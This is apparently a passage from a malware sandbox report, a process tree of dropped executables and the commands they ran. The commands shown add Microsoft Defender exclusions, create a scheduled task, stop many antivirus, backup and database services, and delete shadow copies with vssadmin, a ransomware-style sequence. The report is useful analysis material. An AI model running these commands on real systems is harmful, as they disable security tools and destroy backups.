  "C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5836
- C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
  "C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"
  2⤵
  - Executes dropped EXE
  PID:5480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5232
- C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
  "C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2372
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:756
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB089.tmp"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1088
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:9212
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6532
- C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
  "C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5868
- - C:\Windows\SysWOW64\net.exe
    net stop "Acronis VSS Provider" /y
    3⤵
    PID:9168
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
      4⤵
      PID:8124
- - C:\Windows\SysWOW64\net.exe
    net stop "Enterprise Client Service" /y
    3⤵
    PID:8252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Enterprise Client Service" /y
      4⤵
      PID:8420
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Agent" /y
    3⤵
    PID:7404
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Agent" /y
      4⤵
      PID:2624
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos AutoUpdate Service" /y
    3⤵
    PID:11024
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y
      4⤵
      PID:6292
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Clean Service" /y
    3⤵
    PID:10372
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Clean Service" /y
      4⤵
      PID:10728
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Device Control Service" /y
    3⤵
    PID:9392
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Device Control Service" /y
      4⤵
      PID:9276
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos File Scanner Service" /y
    3⤵
    PID:1180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos File Scanner Service" /y
      4⤵
      PID:9972
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Health Service" /y
    3⤵
    PID:10256
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Health Service" /y
      4⤵
      PID:6244
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Agent" /y
    3⤵
    PID:260
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Agent" /y
      4⤵
      PID:5052
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Client" /y
    3⤵
    PID:6396
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Client" /y
      4⤵
      PID:10772
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Message Router" /y
    3⤵
    PID:9744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Message Router" /y
      4⤵
      PID:10880
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Safestore Service" /y
    3⤵
    PID:8672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Safestore Service" /y
      4⤵
      PID:8112
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos System Protection Service" /y
    3⤵
    PID:9120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos System Protection Service" /y
      4⤵
      PID:8760
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Web Control Service" /y
    3⤵
    PID:6480
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Web Control Service" /y
      4⤵
      PID:9572
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Backup Service" /y
    3⤵
    PID:7332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
      4⤵
      PID:9924
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Filter Service" /y
    3⤵
    PID:9496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
      4⤵
      PID:8080
- - C:\Windows\SysWOW64\net.exe
    net stop "Symantec System Recovery" /y
    3⤵
    PID:4260
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Symantec System Recovery" /y
      4⤵
      PID:4580
- - C:\Windows\SysWOW64\net.exe
    net stop "Veeam Backup Catalog Data Service" /y
    3⤵
    PID:5124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
      4⤵
      PID:8204
- - C:\Windows\SysWOW64\net.exe
    net stop "AcronisAgent" /y
    3⤵
    PID:1788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcronisAgent" /y
      4⤵
      PID:9124
- - C:\Windows\SysWOW64\net.exe
    net stop "AcrSch2Svc" /y
    3⤵
    PID:9368
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcrSch2Svc" /y
      4⤵
      PID:4984
- - C:\Windows\SysWOW64\net.exe
    net stop "Antivirus" /y
    3⤵
    PID:9528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Antivirus" /y
      4⤵
      PID:6608
- - C:\Windows\SysWOW64\net.exe
    net stop "ARSM" /y
    3⤵
    PID:10992
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ARSM" /y
      4⤵
      PID:10824
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentAccelerator" /y
    3⤵
    PID:10552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y
      4⤵
      PID:9776
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentBrowser" /y
    3⤵
    PID:11084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y
      4⤵
      PID:7900
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecDeviceMediaService" /y
    3⤵
    PID:3908
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y
      4⤵
      PID:11148
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecJobEngine" /y
    3⤵
    PID:10460
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecJobEngine" /y
      4⤵
      PID:3324
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecManagementService" /y
    3⤵
    PID:3008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecManagementService" /y
      4⤵
      PID:10620
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecRPCService" /y
    3⤵
    PID:7872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecRPCService" /y
      4⤵
      PID:2140
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecVSSProvider" /y
    3⤵
    PID:992
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecVSSProvider" /y
      4⤵
      PID:6160
- - C:\Windows\SysWOW64\net.exe
    net stop "bedbg" /y
    3⤵
    PID:8164
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "bedbg" /y
      4⤵
      PID:7932
- - C:\Windows\SysWOW64\net.exe
    net stop "DCAgent" /y
    3⤵
    PID:4056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "DCAgent" /y
      4⤵
      PID:8744
- - C:\Windows\SysWOW64\net.exe
    net stop "EPSecurityService" /y
    3⤵
    PID:9588
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPSecurityService" /y
      4⤵
      PID:10148
- - C:\Windows\SysWOW64\net.exe
    net stop "EPUpdateService" /y
    3⤵
    PID:10120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPUpdateService" /y
      4⤵
      PID:10380
- - C:\Windows\SysWOW64\net.exe
    net stop "EraserSvc11710" /y
    3⤵
    PID:5352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EraserSvc11710" /y
      4⤵
      PID:6400
- - C:\Windows\SysWOW64\net.exe
    net stop "EsgShKernel" /y
    3⤵
    PID:6952
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EsgShKernel" /y
      4⤵
      PID:6468
- - C:\Windows\SysWOW64\net.exe
    net stop "FA_Scheduler" /y
    3⤵
    PID:10424
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "FA_Scheduler" /y
      4⤵
      PID:11160
- - C:\Windows\SysWOW64\net.exe
    net stop "IISAdmin" /y
    3⤵
    PID:3804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IISAdmin" /y
      4⤵
      PID:10072
- - C:\Windows\SysWOW64\net.exe
    net stop "IMAP4Svc" /y
    3⤵
    PID:7832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IMAP4Svc" /y
      4⤵
      PID:10940
- - C:\Windows\SysWOW64\net.exe
    net stop "macmnsvc" /y
    3⤵
    PID:10260
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "macmnsvc" /y
      4⤵
      PID:10344
- - C:\Windows\SysWOW64\net.exe
    net stop "masvc" /y
    3⤵
    PID:6852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "masvc" /y
      4⤵
      PID:6344
- - C:\Windows\SysWOW64\net.exe
    net stop "MBAMService" /y
    3⤵
    PID:11124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBAMService" /y
      4⤵
      PID:10472
- - C:\Windows\SysWOW64\net.exe
    net stop "MBEndpointAgent" /y
    3⤵
    PID:6224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBEndpointAgent" /y
      4⤵
      PID:2356
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeEngineService" /y
    3⤵
    PID:4768
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeEngineService" /y
      4⤵
      PID:6368
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFramework" /y
    3⤵
    PID:9964
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFramework" /y
      4⤵
      PID:7132
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFrameworkMcAfeeFramework" /y
    3⤵
    PID:7580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y
      4⤵
      PID:9616
- - C:\Windows\SysWOW64\net.exe
    net stop "McShield" /y
    3⤵
    PID:2116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McShield" /y
      4⤵
      PID:7064
- - C:\Windows\SysWOW64\net.exe
    net stop "McTaskManager" /y
    3⤵
    PID:7648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McTaskManager" /y
      4⤵
      PID:616
- - C:\Windows\SysWOW64\net.exe
    net stop "mfemms" /y
    3⤵
    PID:476
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfemms" /y
      4⤵
      PID:6204
- - C:\Windows\SysWOW64\net.exe
    net stop "mfevtp" /y
    3⤵
    PID:1540
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfevtp" /y
      4⤵
      PID:3540
- - C:\Windows\SysWOW64\net.exe
    net stop "MMS" /y
    3⤵
    PID:7692
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MMS" /y
      4⤵
      PID:11220
- - C:\Windows\SysWOW64\net.exe
    net stop "mozyprobackup" /y
    3⤵
    PID:9304
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mozyprobackup" /y
      4⤵
      PID:10512
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer" /y
    3⤵
    PID:6148
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer" /y
      4⤵
      PID:5804
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer100" /y
    3⤵
    PID:7468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer100" /y
      4⤵
      PID:10768
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer110" /y
    3⤵
    PID:7264
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer110" /y
      4⤵
      PID:8800
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeES" /y
    3⤵
    PID:11004
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeES" /y
      4⤵
      PID:10516
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeIS" /y
    3⤵
    PID:7072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeIS" /y
      4⤵
      PID:2320
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMGMT" /y
    3⤵
    PID:8652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMGMT" /y
      4⤵
      PID:3564
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMTA" /y
    3⤵
    PID:8596
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMTA" /y
      4⤵
      PID:8508
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSA" /y
    3⤵
    PID:8216
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSA" /y
      4⤵
      PID:2340
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSRS" /y
    3⤵
    PID:7568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSRS" /y
      4⤵
      PID:11080
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SQL_2008" /y
    3⤵
    PID:3344
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y
      4⤵
      PID:9300
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SYSTEM_BGC" /y
    3⤵
    PID:8
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y
      4⤵
      PID:7008
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPS" /y
    3⤵
    PID:2176
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPS" /y
      4⤵
      PID:9064
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPSAMA" /y
    3⤵
    PID:4596
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y
      4⤵
      PID:3352
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$BKUPEXEC" /y
    3⤵
    PID:6652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y
      4⤵
      PID:8812
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$ECWDB2" /y
    3⤵
    PID:1608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y
      4⤵
      PID:9308
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTICEMGT" /y
    3⤵
    PID:10436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y
      4⤵
      PID:3160
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTTICEBGC" /y
    3⤵
    PID:6500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y
      4⤵
      PID:8720
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROFXENGAGEMENT" /y
    3⤵
    PID:4676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y
      4⤵
      PID:9796
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SBSMONITORING" /y
    3⤵
    PID:10212
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y
      4⤵
      PID:4772
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SHAREPOINT" /y
    3⤵
    PID:5828
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y
      4⤵
      PID:9236
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQL_2008" /y
    3⤵
    PID:7388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y
      4⤵
      PID:7676
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SYSTEM_BGC" /y
    3⤵
    PID:3944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y
      4⤵
      PID:9944
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPS" /y
    3⤵
    PID:8668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPS" /y
      4⤵
      PID:11136
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPSAMA" /y
    3⤵
    PID:6208
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y
      4⤵
      PID:7508
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:10568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:10936
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2012" /y
    3⤵
    PID:4568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y
      4⤵
      PID:5508
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher" /y
    3⤵
    PID:9240
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher" /y
      4⤵
      PID:4852
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
    3⤵
    PID:6336
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
      4⤵
      PID:1816
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SBSMONITORING" /y
    3⤵
    PID:10608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y
      4⤵
      PID:7248
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SHAREPOINT" /y
    3⤵
    PID:9636
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y
      4⤵
      PID:5160
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SQL_2008" /y
    3⤵
    PID:6288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y
      4⤵
      PID:6872
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SYSTEM_BGC" /y
    3⤵
    PID:9180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y
      4⤵
      PID:4884
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPS" /y
    3⤵
    PID:1532
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y
      4⤵
      PID:4292
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPSAMA" /y
    3⤵
    PID:3860
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y
      4⤵
      PID:8480
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLSERVER" /y
    3⤵
    PID:7528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLSERVER" /y
      4⤵
      PID:10684
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper100" /y
    3⤵
    PID:9576
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y
      4⤵
      PID:2236
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerOLAPService" /y
    3⤵
    PID:10420
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y
      4⤵
      PID:5640
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL80" /y
    3⤵
    PID:10196
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL80" /y
      4⤵
      PID:9232
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL57" /y
    3⤵
    PID:7652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL57" /y
      4⤵
      PID:7156
- - C:\Windows\SysWOW64\net.exe
    net stop "ntrtscan" /y
    3⤵
    PID:1412
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ntrtscan" /y
      4⤵
      PID:6052
- - C:\Windows\SysWOW64\net.exe
    net stop "OracleClientCache80" /y
    3⤵
    PID:7228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "OracleClientCache80" /y
      4⤵
      PID:8536
- - C:\Windows\SysWOW64\net.exe
    net stop "PDVFSService" /y
    3⤵
    PID:8688
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "PDVFSService" /y
      4⤵
      PID:8560
- - C:\Windows\SysWOW64\net.exe
    net stop "POP3Svc" /y
    3⤵
    PID:7004
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "POP3Svc" /y
      4⤵
      PID:10468
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer" /y
    3⤵
    PID:6584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer" /y
      4⤵
      PID:6856
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SQL_2008" /y
    3⤵
    PID:10980
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y
      4⤵
      PID:9428
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SYSTEM_BGC" /y
    3⤵
    PID:8436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y
      4⤵
      PID:7864
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPS" /y
    3⤵
    PID:9864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPS" /y
      4⤵
      PID:6404
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPSAMA" /y
    3⤵
    PID:1548
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y
      4⤵
      PID:8220
- - C:\Windows\SysWOW64\net.exe
    net stop "RESvc" /y
    3⤵
    PID:8248
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "RESvc" /y
      4⤵
      PID:10308
- - C:\Windows\SysWOW64\net.exe
    net stop "sacsvr" /y
    3⤵
    PID:10832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sacsvr" /y
      4⤵
      PID:10316
- - C:\Windows\SysWOW64\net.exe
    net stop "SamSs" /y
    3⤵
    PID:4616
- C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
  "C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3756
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:820
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5916
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:672
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3704
- C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
  "C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
  2⤵
  PID:1772
- C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
  "C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
  2⤵
  PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8480
